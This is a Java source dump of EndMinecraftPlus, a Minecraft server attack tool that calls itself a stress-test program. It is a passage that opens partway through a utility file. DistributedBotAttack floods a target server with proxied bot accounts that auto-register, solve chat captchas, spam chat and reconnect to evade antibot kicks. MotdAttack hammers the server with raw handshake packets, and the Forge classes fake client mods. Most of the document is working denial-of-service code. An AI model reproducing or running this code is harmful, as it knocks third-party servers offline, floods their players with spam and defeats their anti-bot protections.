133 | "网站发布广告设计制作代理发布广告货物进出口技术进出口代理进出口医疗软件技术开发委托生产电子产品玩具照相器材销售家用电器机械设备五金交电不含电动自行车电子产品文化用品照相器材计算机软件及辅助设备化妆品卫生用品体育用品纺织品服装鞋帽日用品家具首饰避孕器具工艺品钟表眼镜玩具汽车及摩托车配件仪器仪表塑料制品花草及观赏植物建筑材料通讯设备汽车电子产品器件和元件自行开发后的产品预防保健咨询公园门票文艺演出体育赛事展览会票务代理翻译服务通讯设备和电子产品的技术开发计算机系统服务车联网技术开发汽车电子产品设计研发制造北京市中心城区除外演出经纪人才中介服经营电信业务利用信息网络经营音乐娱乐产品演出剧节目动漫产品游戏产品含网络游戏虚拟货币发行表演网络游戏技法展示或解说网络文化经营许可证有效期至年月日因特网信息服务业务除出版教育医疗保健以外的内容图书电子出版物音像制品批发零售网上销售。市场主体依法自主选择经营项目开展经营活动演出经纪人才中介服务利用信息网络经营音乐娱乐产品演出剧节目动漫产品游戏产品含网络游戏虚拟货币发行表演网络游戏技法展示或解说经营电信业务以及依法须经批准的项目经相关部门批准后依批准的内容开展经营活动不得从事国家和本市产业政策禁止和限制类项目的经营活动");
134 | return str;
135 | }
136 |
137 | public static String getdot() {
138 | String str = getsingleString(",.;_,。->", 8);
139 | return str;
140 | }
141 |
142 | }
143 |
--------------------------------------------------------------------------------
/src/luohuayu/EndMinecraftPlus/proxy/ProxyPool.java:
--------------------------------------------------------------------------------
1 | package luohuayu.EndMinecraftPlus.proxy;
2 |
3 | import java.io.BufferedReader;
4 | import java.io.File;
5 | import java.io.FileReader;
6 | import java.io.IOException;
7 | import java.util.ArrayList;
8 | import java.util.List;
9 |
10 | import luohuayu.EndMinecraftPlus.Utils;
11 |
12 | public class ProxyPool {
13 | public static List proxys = new ArrayList();
14 |
15 | public static void getProxysFromFile(String filename) {
16 | try {
17 | File file = new File(filename);
18 | if (!file.exists())
19 | return;
20 | BufferedReader reader = new BufferedReader(new FileReader(file));
21 | String tempString = null;
22 | while ((tempString = reader.readLine()) != null) {
23 | proxys.add(tempString);
24 | }
25 | reader.close();
26 | } catch (IOException e) {
27 | e.printStackTrace();
28 | }
29 | Utils.log("Proxy", "从本地读取代理完成!数量:" + proxys.size());
30 | }
31 |
32 | public static void runUpdateProxysTask(final int time) {
33 | new Thread(() -> {
34 | while (true) {
35 | Utils.sleep(time * 1000);
36 | synchronized (proxys) {
37 | proxys.clear();
38 | }
39 | }
40 | }).start();
41 | }
42 | }
43 |
--------------------------------------------------------------------------------
/src/luohuayu/EndMinecraftPlus/tasks/attack/DistributedBotAttack.java:
--------------------------------------------------------------------------------
1 | package luohuayu.EndMinecraftPlus.tasks.attack;
2 |
3 | import java.io.InputStream;
4 | import java.io.OutputStream;
5 | import java.net.InetSocketAddress;
6 | import java.net.Proxy;
7 | import java.net.Socket;
8 | import java.net.Proxy.Type;
9 | import java.util.ArrayList;
10 | import java.util.HashMap;
11 | import java.util.List;
12 | import java.util.Random;
13 | import java.util.Scanner;
14 | import java.util.UUID;
15 | import java.util.concurrent.ExecutorService;
16 | import java.util.concurrent.Executors;
17 |
18 | import org.spacehq.mc.auth.data.GameProfile;
19 | import org.spacehq.mc.protocol.MinecraftProtocol;
20 | import org.spacehq.mc.protocol.packet.ingame.client.ClientChatPacket;
21 | import org.spacehq.mc.protocol.packet.ingame.client.ClientKeepAlivePacket;
22 | import org.spacehq.mc.protocol.packet.ingame.server.ServerChatPacket;
23 | import org.spacehq.mc.protocol.packet.ingame.server.ServerJoinGamePacket;
24 | import org.spacehq.packetlib.Client;
25 | import org.spacehq.packetlib.Session;
26 | import org.spacehq.packetlib.event.session.ConnectedEvent;
27 | import org.spacehq.packetlib.event.session.DisconnectedEvent;
28 | import org.spacehq.packetlib.event.session.DisconnectingEvent;
29 | import org.spacehq.packetlib.event.session.PacketReceivedEvent;
30 | import org.spacehq.packetlib.event.session.PacketSentEvent;
31 | import org.spacehq.packetlib.event.session.SessionListener;
32 | import org.spacehq.packetlib.tcp.TcpSessionFactory;
33 | import org.spacehq.packetlib.packet.*;
34 | import org.spacehq.mc.protocol.packet.ingame.client.player.ClientSwingArmPacket;
35 | import org.spacehq.mc.protocol.packet.ingame.client.player.ClientChangeHeldItemPacket;
36 |
37 | import luohuayu.EndMinecraftPlus.Utils;
38 | import luohuayu.EndMinecraftPlus.proxy.ProxyPool;
39 | import luohuayu.MCForgeProtocol.MCForge;
40 | import xyz.yuanpi.config;
41 |
42 | public class DistributedBotAttack extends IAttack {
43 | private Thread mainThread;
44 | private Thread tabThread;
45 | private Thread taskThread;
46 | private Thread spamThread;
47 | private Thread regThread;
48 | private Thread hhThread;
49 | String spammessage;
50 |
51 | public List clients = new ArrayList();
52 | public ExecutorService pool = Executors.newCachedThreadPool();
53 |
54 | public DistributedBotAttack(int time, int maxconnect, int joinsleep, boolean motdbefore, boolean tab,
55 | HashMap modList) {
56 | super(time, maxconnect, joinsleep, motdbefore, tab, modList);
57 | }
58 |
59 | public static Scanner scanner = new Scanner(System.in);
60 | Proxy.Type pType;
61 | String name;
62 | boolean custspam;
63 | boolean autoauth;
64 | boolean spam = true;
65 | boolean debug;
66 | boolean test;
67 | boolean ReconncetBypass;
68 | int ReconncetDelay;
69 | int spamdelay;
70 | int hhdelay;
71 |
72 | public void start(final String ip, final int port) {
73 | ReconncetDelay = config.toint(config.getValue("reconnectdelay"));
74 | ReconncetBypass = config.getBoolean("reconnectbypass");
75 | spamdelay = config.toint(config.getValue("spamdelay"));
76 | hhdelay = config.toint(config.getValue("hhdelay"));
77 | debug = config.getBoolean("debug");
78 | Utils.log("请输入名称前缀:如CNMD 末尾自动添加后缀");
79 | name = config.getValue("name");
80 | Utils.log("已选择:" + name);
81 |
82 | Utils.log("请选择代理类型:HTTP/SOCKS");
83 | String pxty = config.getValue("pxtype");
84 | switch (pxty) {
85 | case "http":
86 | pType = Type.HTTP;
87 | break;
88 | case "socks":
89 | pType = Type.SOCKS;
90 | break;
91 | default:
92 | Utils.log("输错了 傻逼");
93 | stop();
94 |
95 | }
96 | Utils.log("是否开启自动识别验证码 t/f");
97 | autoauth = config.getBoolean("captcha");
98 | Utils.log("是否开启刷屏 t/f");
99 | spam = config.getBoolean("spam");
100 | custspam = config.getBoolean("customspam");
101 | if (custspam) {
102 | spammessage = config.getValue("custommessage");
103 |
104 | }
105 |
106 | mainThread = new Thread(() -> {
107 | while (true) {
108 | try {
109 | cleanClients();
110 | createClients(ip, port);
111 | Utils.sleep(1 * 1000);
112 |
113 | Utils.log("BotThread", "连接数:" + clients.size());
114 | } catch (Exception e) {
115 | Utils.log("BotThread", e.getMessage());
116 | }
117 | }
118 | });
119 | regThread = new Thread(() -> {
120 | // int num = 0;
121 | // String passwd = "123123";
122 | // while (num < 10) {
123 | // try {
124 | // synchronized (clients) {
125 | // clients.forEach(c -> {
126 | // if (c.getSession().isConnected()) {
127 | // if (c.getSession().hasFlag("join")) {
128 | // c.getSession().send(new ClientChatPacket("/reg " + passwd + " " + passwd));
129 |
130 | // }
131 | // }
132 | // });
133 | // }
134 | // num++;
135 | // Thread.sleep(2000);
136 | // } catch (Exception e1) {
137 | // // TODO: handle exception
138 | // }
139 | // }
140 |
141 | });
142 | hhThread = new Thread(() -> {
143 | while (true) {
144 | try {
145 | synchronized (clients) {
146 | clients.forEach(c -> {
147 | if (c.getSession().isConnected() && c.getSession().hasFlag("join")) {
148 | c.getSession().send(new ClientChatPacket("/hh " + Utils.getRandomString(5, 10)));
149 |
150 | }
151 | });
152 | }
153 | Thread.sleep(hhdelay);
154 | } catch (Exception e) {
155 | // TODO: handle exception
156 | Utils.log(e);
157 | }
158 |
159 | }
160 | });
161 |
162 | spamThread = new Thread(() -> {
163 | while (true) {
164 | try {
165 | synchronized (clients) {
166 | clients.forEach(c -> {
167 | if (c.getSession().isConnected() && c.getSession().hasFlag("join")) {
168 | spammer(c.getSession(), spammessage);
169 |
170 | }
171 | });
172 | }
173 | Thread.sleep(spamdelay);
174 | } catch (Exception e) {
175 | }
176 |
177 | }
178 | });
179 |
180 | tabThread = new Thread(() -> {
181 | while (true) {
182 | synchronized (clients) {
183 | clients.forEach(c -> {
184 | if (c.getSession().isConnected()) {
185 | if (c.getSession().hasFlag("join")) {
186 | sendTab(c.getSession(),
187 | "//");
188 | }
189 | }
190 | });
191 | }
192 | Utils.sleep(100);
193 | }
194 | });
195 |
196 | mainThread.start();
197 | regThread.start();
198 | spamThread.start();
199 | hhThread.start();
200 |
201 | if (tabThread != null)
202 | tabThread.start();
203 | if (taskThread != null)
204 | taskThread.start();
205 |
206 | }
207 |
208 | @SuppressWarnings("deprecation")
209 | public void stop() {
210 | mainThread.stop();
211 | if (tabThread != null)
212 | tabThread.stop();
213 | if (taskThread != null)
214 | taskThread.stop();
215 | if (spamThread != null)
216 | spamThread.stop();
217 | }
218 |
219 | public void setTask(Runnable task) {
220 | taskThread = new Thread(task);
221 | }
222 |
223 | private void cleanClients() {
224 | List waitRemove = new ArrayList();
225 | synchronized (clients) {
226 | clients.forEach(c -> {
227 | if (!c.getSession().isConnected()) {
228 | waitRemove.add(c);
229 | }
230 | });
231 | clients.removeAll(waitRemove);
232 | }
233 | }
234 |
235 | private void createClients(final String ip, int port) {
236 | synchronized (ProxyPool.proxys) {
237 | ProxyPool.proxys.forEach(p -> {
238 | try {
239 | String[] _p = p.split(":");
240 | Proxy proxy = new Proxy(pType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
241 | Client client = createClient(ip, port, name + Utils.getRandomString(4, 8), proxy);
242 | client.getSession().setReadTimeout(10 * 1000);
243 | client.getSession().setWriteTimeout(10 * 1000);
244 | synchronized (clients) {
245 | clients.add(client);
246 | }
247 |
248 | if (this.attack_motdbefore) {
249 | pool.submit(() -> {
250 | getMotd(proxy, ip, port);
251 | client.getSession().connect(false);
252 | });
253 | } else {
254 | client.getSession().connect(false);
255 | }
256 |
257 | if (this.attack_joinsleep > 0)
258 | Utils.sleep(attack_joinsleep);
259 | } catch (Exception e) {
260 | Utils.log("BotThread/CreateClients", e.getMessage());
261 | }
262 | });
263 | }
264 | }
265 |
266 | public Client createClient(final String ip, int port, final String username, Proxy proxy) {
267 | GameProfile profile = new GameProfile(UUID.randomUUID(), username);
268 | Client client = new Client(ip, port, new MinecraftProtocol(profile,
269 | Utils.getRandomString(128, 128)),
270 | new TcpSessionFactory(proxy));
271 | // Client client = new Client(ip, port, new MinecraftProtocol(username), new
272 | // TcpSessionFactory(proxy));
273 | new MCForge(client.getSession(), this.modList).init();
274 | client.getSession().addListener(new SessionListener() {
275 | public void packetReceived(PacketReceivedEvent e) {
276 | if (e.getPacket() instanceof ServerChatPacket) {
277 | ServerChatPacket packet = e.getPacket();
278 | String message = packet.getMessage().toString();
279 | if (debug) {
280 | Utils.log("[" + username + "]" + "[接收聊天]" + "[" + message + "]");
281 | }
282 | if (message.contains("验证码")) {
283 | String[] c0des = message.split("你忘了把验证码放在最后: ", 2);
284 | String code = c0des[1];
285 | String passwd = Utils.getRandomString(6, 12);
286 | Utils.log("Code is " + code + "---" + message);
287 | client.getSession().send(new ClientChatPacket("/reg " + passwd + " " + passwd + " " + code));
288 |
289 | }
290 | if (message.contains("/reg")) {
291 | reg(client.getSession());
292 |
293 | }
294 | if (message.contains("/login")) {
295 | client.getSession().send(new ClientChatPacket("/l 1234abcd"));
296 | }
297 |
298 | if (message.contains("tpserver") && !message.contains(name)) {
299 | client.getSession().send(new ClientChatPacket("/tpserver " + gethh(message)));
300 |
301 | }
302 | // boolean reg = message.contains("以注册") || message.contains("reg");
303 | // if (reg) {
304 | // String passwd = Utils.getRandomString(8, 12);
305 | // client.getSession().send(new ClientChatPacket("/register " + passwd + " " +
306 | // passwd));
307 | // }
308 | // if (true) {
309 | // // try to get authme code
310 | // boolean iscaptcha = message.contains("人机验证") || message.contains("captcha")
311 | // || message.contains("验证码");
312 | // String[] code2 = message.split("/captcha ", 2);
313 | // int length = config.toint(config.getValue("authmelength"));
314 | // if (iscaptcha) {
315 | // String c0de = code2[1].substring(0, length);
316 | // if (debug) {
317 | // Utils.log("Captcha is:" + c0de);
318 | // }
319 | // client.getSession().send(new ClientChatPacket("/captcha " + c0de));
320 | // }
321 | // }
322 | }
323 |
324 | if (e.getPacket() instanceof ServerJoinGamePacket) {
325 | e.getSession().setFlag("join", true);
326 | Utils.log("Client", "[连接成功][" + username + "]");
327 |
328 | }
329 | }
330 |
331 | public void packetSent(PacketSentEvent e) {
332 | if (debug) {
333 | if (e.getPacket() instanceof ClientChatPacket) {
334 | ClientChatPacket packet = e.getPacket();
335 | Utils.log("[Client]" + "[" + username + "]" + "[发送聊天]" + packet.getMessage());
336 | }
337 | }
338 | }
339 |
340 | public void connected(ConnectedEvent e) {
341 | }
342 |
343 | public void disconnecting(DisconnectingEvent e) {
344 | }
345 |
346 | public void disconnected(DisconnectedEvent e) {
347 | String msg;
348 | if (e.getCause() != null) {
349 | msg = e.getCause().getMessage();
350 | } else {
351 | msg = e.getReason();
352 | }
353 | Utils.log("Client", "[断开][" + username + "] " + msg);
354 | String reason = e.getReason();
355 | boolean blacklisted = reason.contains("已被") && reason.contains("黑名单");
356 | boolean stats = reason.contains("重") || reason.contains("join") || reason.contains("antibot")
357 | || reason.contains("加入") || reason.contains("反")
358 | || reason.contains("等") || reason.contains("Reconnect") || reason.contains("enter");
359 | if (stats && !blacklisted) {
360 | Utils.log("[" + username + "]正在重连......");
361 | try {
362 | if (ReconncetBypass) {
363 | Random random = new Random();
364 | Thread.sleep(ReconncetDelay + random.nextInt(2000));
365 | } else {
366 | Thread.sleep(ReconncetDelay);
367 |
368 | }
369 | Client client1 = createClient(ip, port, username, proxy);
370 | client1.getSession().setReadTimeout(10 * 1000);
371 | client1.getSession().setWriteTimeout(10 * 1000);
372 | clients.add(client1);
373 | client1.getSession().connect(false);
374 | } catch (Exception e1) {
375 | Utils.log(e1);
376 | // TODO: handle exception
377 | }
378 |
379 | }
380 | if (blacklisted) {
381 |
382 | }
383 | }
384 |
385 | });
386 | return client;
387 |
388 | }
389 |
390 | public boolean getMotd(Proxy proxy, String ip, int port) {
391 | try {
392 | Socket socket = new Socket(proxy);
393 | socket.connect(new InetSocketAddress(ip, port));
394 | if (socket.isConnected()) {
395 | OutputStream out = socket.getOutputStream();
396 | InputStream in = socket.getInputStream();
397 | out.write(new byte[] { 0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01 });
398 | out.write(new byte[] { 0x01, 0x00 });
399 | out.flush();
400 | in.read();
401 |
402 | try {
403 | in.close();
404 | out.close();
405 | socket.close();
406 | } catch (Exception e) {
407 | }
408 |
409 | return true;
410 | }
411 | socket.close();
412 | } catch (Exception e) {
413 | }
414 | return false;
415 | }
416 |
417 | public void sendTab(Session session, String text) {
418 | try {
419 | // session.send((Packet) new ClientSwingArmPacket());
420 | session.send((new ClientKeepAlivePacket(1)));
421 | } catch (Exception e) {
422 | }
423 | }
424 |
425 | public void spammer(Session session, String message) {
426 | if (!custspam) {
427 | message = Utils.getclnmsl();
428 | }
429 | session.send((Packet) new ClientChatPacket(message + Utils.getRandomString(3, 5)));
430 | }
431 |
432 | public void reg(Session session) {
433 | try {
434 | String passwd = Utils.getRandomString(8, 8);
435 | session.send(
436 | new ClientChatPacket("/reg " + passwd + " " + passwd));
437 | // String email;
438 | // email = Utils.getRandomString(4, 8) + "@163.com";
439 | // session.send(new ClientChatPacket("/emailplus bind " + email));
440 | // session.send(new ClientChatPacket("/email add " + email + "@163.com "
441 | // + email + "@163.com"));
442 | // Thread.sleep(3000);
443 | // session.send(new ClientChatPacket("/hub"));
444 | // session.send(new ClientChatPacket("/lobby"));
445 | } catch (Exception e) {
446 | e.printStackTrace();
447 | }
448 |
449 | }
450 |
451 | public static String gethh(String msgString) {
452 | String[] token = msgString.split("/tpserver ", 2);
453 | String[] token1 = token[1].split("\"}", 2);
454 | return token1[0];
455 |
456 | }
457 | }
458 |
--------------------------------------------------------------------------------
/src/luohuayu/EndMinecraftPlus/tasks/attack/IAttack.java:
--------------------------------------------------------------------------------
1 | package luohuayu.EndMinecraftPlus.tasks.attack;
2 |
3 | import java.util.HashMap;
4 |
5 | public abstract class IAttack {
6 | public int attack_mode;
7 | public int attack_time;
8 | public int attack_maxconnect;
9 | public int attack_joinsleep;
10 | public boolean attack_motdbefore;
11 | public boolean attack_tab;
12 |
13 | public HashMap modList;
14 |
15 | public IAttack(int time,int maxconnect,int joinsleep,boolean motdbefore,boolean tab,HashMap modList) {
16 | this.attack_time=time;
17 | this.attack_maxconnect=maxconnect;
18 | this.attack_joinsleep=joinsleep;
19 | this.attack_motdbefore=motdbefore;
20 | this.attack_tab=tab;
21 | this.modList=modList;
22 | }
23 |
24 | public abstract void start(String ip,int port);
25 | public abstract void stop();
26 | }
27 |
--------------------------------------------------------------------------------
/src/luohuayu/EndMinecraftPlus/tasks/attack/MotdAttack.java:
--------------------------------------------------------------------------------
1 | package luohuayu.EndMinecraftPlus.tasks.attack;
2 |
3 | import java.io.IOException;
4 | import java.io.OutputStream;
5 | import java.net.InetSocketAddress;
6 | import java.net.Socket;
7 | import java.util.ArrayList;
8 | import java.util.HashMap;
9 | import java.util.List;
10 |
11 | import luohuayu.EndMinecraftPlus.Utils;
12 |
13 | public class MotdAttack extends IAttack {
14 | public List threads=new ArrayList();
15 |
16 | public MotdAttack(int time,int maxconnect,int joinsleep,boolean motdbefore,boolean tab,HashMap modList) {
17 | super(time, maxconnect, joinsleep, motdbefore, tab, modList);
18 | }
19 |
20 | public void start(final String ip,final int port) {
21 | Runnable task=()->{
22 | while(true)
23 | {
24 | try {
25 | Socket socket = new Socket();
26 | socket.connect(new InetSocketAddress(ip,port));
27 | if(socket.isConnected()) {
28 | Utils.log("Motd/"+Thread.currentThread().getName(),"连接成功");
29 | OutputStream out = socket.getOutputStream();
30 | out.write(new byte[] {0x07,0x00,0x05,0x01,0x30,0x63,(byte)0xDD,0x01});
31 | out.flush();
32 | while(socket.isConnected()) {
33 | for(int i=0; i<10; i++) {
34 | out.write(new byte[] {0x01,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x01,0x00});
35 | }
36 | out.flush();
37 | }
38 | try {
39 | out.close();
40 | socket.close();
41 | } catch (IOException e) {}
42 | Utils.log("Motd/"+Thread.currentThread().getName(),"已断开");
43 | Utils.sleep(1000);
44 | }
45 | } catch (Exception e) {
46 | Utils.log("Motd/"+Thread.currentThread().getName(),e.getMessage());
47 | e.printStackTrace();
48 | }
49 | }
50 | };
51 |
52 | if(this.attack_maxconnect<1) this.attack_maxconnect=10;
53 |
54 | for(int i=0; i{
65 | thread.stop();
66 | });
67 | }
68 |
69 | }
70 |
--------------------------------------------------------------------------------
/src/luohuayu/MCForgeProtocol/MCForge.java:
--------------------------------------------------------------------------------
1 | package luohuayu.MCForgeProtocol;
2 |
3 | import java.lang.reflect.Field;
4 | import java.util.HashMap;
5 |
6 | import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
7 | import org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
8 | import org.spacehq.packetlib.Session;
9 | import org.spacehq.packetlib.event.session.ConnectedEvent;
10 | import org.spacehq.packetlib.event.session.DisconnectedEvent;
11 | import org.spacehq.packetlib.event.session.DisconnectingEvent;
12 | import org.spacehq.packetlib.event.session.PacketReceivedEvent;
13 | import org.spacehq.packetlib.event.session.PacketSentEvent;
14 | import org.spacehq.packetlib.event.session.SessionListener;
15 |
16 | public class MCForge {
17 | private MCForgeHandShake handshake;
18 |
19 | public HashMap modList;
20 | public Session session;
21 |
22 | public MCForge(Session session,HashMap modList) {
23 | this.modList=modList;
24 | this.session=session;
25 | this.handshake=new MCForgeHandShake(this);
26 | }
27 |
28 | public void init() {
29 | this.session.addListener(new SessionListener() {
30 | public void packetReceived(PacketReceivedEvent e) {
31 | if(e.getPacket() instanceof ServerPluginMessagePacket) {
32 | handle(e.getPacket());
33 | }
34 | }
35 | public void packetSent(PacketSentEvent e){}
36 | public void connected(ConnectedEvent e){
37 | modifyHost();
38 | }
39 | public void disconnecting(DisconnectingEvent e){}
40 | public void disconnected(DisconnectedEvent e){}
41 | });
42 | }
43 |
44 | public void handle(ServerPluginMessagePacket packet) {
45 | switch(packet.getChannel()) {
46 | case "FML|HS":
47 | this.handshake.handle(packet);
48 | break;
49 | case "REGISTER":
50 | this.session.send(new ClientPluginMessagePacket("REGISTER",packet.getData()));
51 | break;
52 | case "MC|Brand":
53 | this.session.send(new ClientPluginMessagePacket("MC|Brand","fml,forge".getBytes()));
54 | break;
55 | }
56 | }
57 |
58 | public void modifyHost() {
59 | try {
60 | Class> cls=this.session.getClass().getSuperclass();
61 |
62 | Field field=cls.getDeclaredField("host");
63 | field.setAccessible(true);
64 |
65 | field.set(this.session, this.session.getHost()+"\0FML\0");
66 | } catch (SecurityException | IllegalArgumentException | IllegalAccessException | NoSuchFieldException e) {
67 | e.printStackTrace();
68 | }
69 | }
70 |
71 | public static boolean isVersion1710() {
72 | try {
73 | Class> cls = Class.forName("org.spacehq.mc.protocol.ProtocolConstants");
74 | if (cls!=null) {
75 | Field field=cls.getDeclaredField("PROTOCOL_VERSION");
76 | int protocol=field.getInt(cls.newInstance());
77 | return (protocol==5);
78 | }else{
79 | return false;
80 | }
81 | } catch (Exception e) {
82 | return false;
83 | }
84 | }
85 | }
86 |
--------------------------------------------------------------------------------
/src/luohuayu/MCForgeProtocol/MCForgeHandShake.java:
--------------------------------------------------------------------------------
1 | package luohuayu.MCForgeProtocol;
2 |
3 | import java.io.ByteArrayOutputStream;
4 | import java.io.IOException;
5 | import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
6 | import org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
7 | import org.spacehq.packetlib.Session;
8 | import org.spacehq.packetlib.io.stream.StreamNetOutput;
9 |
10 | public class MCForgeHandShake{
11 | private MCForge forge;
12 |
13 | public MCForgeHandShake(MCForge forge) {
14 | this.forge=forge;
15 | }
16 |
17 | public void handle(ServerPluginMessagePacket packet) {
18 | Session session=forge.session;
19 |
20 | byte[] data=packet.getData();
21 | int packetID=data[0];
22 |
23 | switch(packetID) {
24 | case 0: //Hello
25 | sendPluginMessage(session,"FML|HS",new byte[]{0x01, 0x02});
26 |
27 | //ModList
28 | ByteArrayOutputStream buf=new ByteArrayOutputStream();
29 | StreamNetOutput out=new StreamNetOutput(buf);
30 | try {
31 | out.writeVarInt(2);
32 | out.writeByte(forge.modList.size());
33 | forge.modList.forEach((k, v) -> {
34 | try {
35 | out.writeString(k);
36 | out.writeString(v);
37 | } catch (IOException e) {
38 | e.printStackTrace();
39 | }
40 | });
41 | } catch (IOException e) {
42 | e.printStackTrace();
43 | }
44 | sendPluginMessage(session,"FML|HS",buf.toByteArray());
45 | break;
46 | case 2: //ModList
47 | sendPluginMessage(session,"FML|HS",new byte[]{-0x1, 0x02}); //ACK(WAITING SERVER DATA)
48 | break;
49 | case 3: //RegistryData
50 | sendPluginMessage(session,"FML|HS",new byte[]{-0x1, 0x03}); //ACK(WAITING SERVER COMPLETE)
51 | break;
52 | case -1: //HandshakeAck
53 | int ackID=data[1];
54 | switch(ackID) {
55 | case 2: //WAITING CACK
56 | sendPluginMessage(session,"FML|HS",new byte[]{-0x1, 0x04}); //PENDING COMPLETE
57 | break;
58 | case 3: //COMPLETE
59 | sendPluginMessage(session,"FML|HS",new byte[]{-0x1, 0x05}); //COMPLETE
60 | break;
61 | default:
62 | }
63 | default:
64 | }
65 | }
66 |
67 | private void sendPluginMessage(Session session,String channel,byte[] data) {
68 | session.send(new ClientPluginMessagePacket(channel,data));
69 | }
70 | }
71 |
--------------------------------------------------------------------------------
/src/luohuayu/MCForgeProtocol/MCForgeInject.java:
--------------------------------------------------------------------------------
1 | package luohuayu.MCForgeProtocol;
2 |
3 | import javassist.ClassPool;
4 | import javassist.CtClass;
5 | import javassist.CtMethod;
6 |
7 | public class MCForgeInject {
8 | public static boolean inject() {
9 | try {
10 | if(MCForge.isVersion1710()) {
11 | injectPluginMessage();
12 | injectTryCatch("org.spacehq.mc.protocol.packet.ingame.server.entity.spawn.ServerSpawnMobPacket", "read", "{$1.readBytes($1.available());return;}");
13 | injectTryCatch("org.spacehq.mc.protocol.packet.ingame.server.world.ServerUpdateTileEntityPacket", "read", "{$1.readBytes($1.available());return;}");
14 | injectTryCatch("org.spacehq.packetlib.packet.PacketProtocol", "createIncomingPacket", "{return luohuayu.MCForgeProtocol.MCForgeUtils.createUnknowPacket();}");
15 | }
16 | return true;
17 | } catch (Exception e) {
18 | return false;
19 | }
20 | }
21 |
22 | public static void injectPluginMessage() throws Exception {
23 | ClassPool classPool=ClassPool.getDefault();
24 | CtClass ctClass=classPool.get("org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket");
25 | CtMethod method=ctClass.getDeclaredMethod("read");
26 | method.setBody("{this.channel=$1.readString();\n" +
27 | "this.data=$1.readBytes(luohuayu.MCForgeProtocol.MCForgeUtils.readVarShort($1));}");
28 | ctClass.toClass();
29 | }
30 |
31 | public static void injectTryCatch(String cls,String func,String code) throws Exception {
32 | ClassPool classPool=ClassPool.getDefault();
33 | CtClass ctClass=classPool.get(cls);
34 | CtMethod method=ctClass.getDeclaredMethod(func);
35 | method.addCatch(code, classPool.get("java.lang.Exception"));
36 | ctClass.toClass();
37 | }
38 | }
39 |
--------------------------------------------------------------------------------
/src/luohuayu/MCForgeProtocol/MCForgeUtils.java:
--------------------------------------------------------------------------------
1 | package luohuayu.MCForgeProtocol;
2 |
3 | import java.io.IOException;
4 |
5 | import org.spacehq.packetlib.io.NetInput;
6 |
7 | public class MCForgeUtils {
8 | public static int readVarShort(NetInput in) throws IOException {
9 | int low = in.readUnsignedShort();
10 | int high = 0;
11 | if ((low & 0x8000) != 0) {
12 | low = low & 0x7FFF;
13 | high = in.readUnsignedByte();
14 | }
15 | return ((high & 0xFF) << 15) | low;
16 | }
17 |
18 | public static UnknowPacket createUnknowPacket() {
19 | try {
20 | return UnknowPacket.class.newInstance();
21 | } catch (Exception e) {
22 | return null;
23 | }
24 | }
25 | }
26 |
--------------------------------------------------------------------------------
/src/luohuayu/MCForgeProtocol/UnknowPacket.java:
--------------------------------------------------------------------------------
1 | package luohuayu.MCForgeProtocol;
2 |
3 | import java.io.IOException;
4 |
5 | import org.spacehq.packetlib.io.NetInput;
6 | import org.spacehq.packetlib.io.NetOutput;
7 | import org.spacehq.packetlib.packet.Packet;
8 |
9 | public class UnknowPacket implements Packet {
10 | public boolean isPriority() {
11 | return false;
12 | }
13 |
14 | public void read(NetInput in) throws IOException {
15 | in.readBytes(in.available());
16 | }
17 |
18 | public void write(NetOutput out) throws IOException {
19 |
20 | }
21 |
22 | }
23 |
--------------------------------------------------------------------------------
/src/me/alikomi/endminecraft/Main.java:
--------------------------------------------------------------------------------
1 | package me.alikomi.endminecraft;
2 |
3 | import java.io.IOException;
4 | import java.lang.reflect.InvocationTargetException;
5 | import java.util.Hashtable;
6 | import java.util.Properties;
7 | import java.util.Scanner;
8 |
9 | import xyz.yuanpi.PropsUtil;
10 | import xyz.yuanpi.config;
11 | import javax.naming.NamingException;
12 | import javax.naming.directory.Attribute;
13 | import javax.naming.directory.InitialDirContext;
14 |
15 | import luohuayu.EndMinecraftPlus.ASMInject;
16 | import luohuayu.EndMinecraftPlus.Utils;
17 | import luohuayu.EndMinecraftPlus.proxy.ProxyPool;
18 | import luohuayu.EndMinecraftPlus.tasks.attack.DistributedBotAttack;
19 | import luohuayu.MCForgeProtocol.MCForgeInject;
20 | import java.util.HashMap;
21 | import luohuayu.EndMinecraftPlus.tasks.attack.IAttack;
22 |
23 | public class Main extends Utils {
24 | private static String ip;
25 | public static int port = 25565;
26 | static String mode;
27 |
28 | public static Scanner scanner = new Scanner(System.in);
29 |
30 | public static void main(String[] args) throws InterruptedException, IOException, IllegalAccessException,
31 | InstantiationException, NoSuchFieldException, NoSuchMethodException, InvocationTargetException,
32 | ClassNotFoundException, NamingException {
33 | ASMInject.inject();
34 | MCForgeInject.inject();
35 | getInfo();
36 | showMenu();
37 | }
38 |
39 | private static void getInfo() throws NamingException {
40 | config.readconfig("config.properties");
41 |
42 | ip = config.getValue("ip");
43 | port = config.toint(config.getValue("port"));
44 | mode = config.getValue("mode");
45 |
46 | log("欢迎使用EndMinecraft压测程序", "", "=======================");
47 | Hashtable hashtable = new Hashtable();
48 | hashtable.put("java.naming.factory.initial", "com.sun.jndi.dns.DnsContextFactory");
49 | hashtable.put("java.naming.provider.url", "dns:");
50 | try {
51 | Attribute qwqre = (new InitialDirContext(hashtable))
52 | .getAttributes((new StringBuilder()).append("_Minecraft._tcp.").append(ip).toString(),
53 | new String[] { "SRV" })
54 | .get("srv");
55 | if (qwqre != null) {
56 | String[] re = qwqre.get().toString().split(" ", 4);
57 | log("检测到SRV记录,自动跳转到SRV记录");
58 | ip = re[3];
59 | log("ip: " + ip);
60 | port = Integer.parseInt(re[2]);
61 | log("port: " + port);
62 | }
63 | } catch (Exception e) {
64 | }
65 | }
66 |
67 | private static void showMenu() throws IOException, InterruptedException {
68 | while (true) {
69 | log("请输入攻击方式:", "2 : 分布式假人攻击(集群压测)");
70 | log("========================");
71 | switch (mode) {
72 | case "2":
73 | _2();
74 | return;
75 | default:
76 | log("您的选择有误,请重新选择");
77 | }
78 | }
79 | }
80 |
81 | public static void _2() {
82 | int time = 999999999;
83 | int maxAttack = 999999999;
84 | log("请输入每次加入服务器间隔(ms)");
85 | int sleepTime = config.toint(config.getValue("delay"));
